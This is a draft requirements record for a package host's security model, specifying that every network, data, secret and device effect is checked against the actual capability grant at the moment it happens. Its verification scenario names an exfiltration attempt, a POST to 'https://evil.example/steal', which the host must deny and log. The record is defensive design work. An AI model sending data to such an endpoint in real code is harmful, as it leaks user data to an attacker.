---
typeId: req
recordId: benac-cap-006
fields:
  title: Effect-time capability checks
  statement: For every host-mediated effect, the Host Station shall evaluate the
    actual requested effect against the active capability grant at effect time.
    This includes network fetch, data egress, blob read/write, storage use,
    compute use, secret use, decryption, signing, disclosure, file access,
    device access, and physical-world effects. The check shall use the actual
    endpoint, method, operation class, blob CID, package CID, invocation contract
    snapshot CID, descriptor snapshot CID, secret reference, data class, recipient, or
    other effect-specific scope fields. For mediated package invocation, the check shall
    include target package CID, target descriptor snapshot CID, target interface
    identifier, requested data class, initiating package CID, parent invocation
    reference, and granted scope where applicable. Package labels, names, declared
    intent, descriptor labels, URLs in metadata, or convenience projections shall not be
    sufficient to authorize an effect.
  rationale: A malicious package can compute effect parameters dynamically or
    embed them in executable code. Host mediation must check the actual
    requested operation, not just package declarations. Effect-time checks also support
    agent iteration by making the actual denied operation visible, including the
    endpoint, blob, descriptor, data class, recipient, or other scope field that caused
    denial.
  verification: A package with a grant for GET
    https://api.crm.example/v1/customers attempts POST
    https://evil.example/steal. The Host Station denies the effect and records
    the denial. A package with a grant for one blob CID attempts to read another
    blob CID. The Host Station denies and records the denial.
  area: BENAC-CAP
  sourceSections:
    - 10.8 Trust and capability governance
  order: 97.5
  testable: true
  status: draft
  sourceDocument: user-requested requirements cleanup
  sourceVersion: DRISL terminology cleanup pass
---
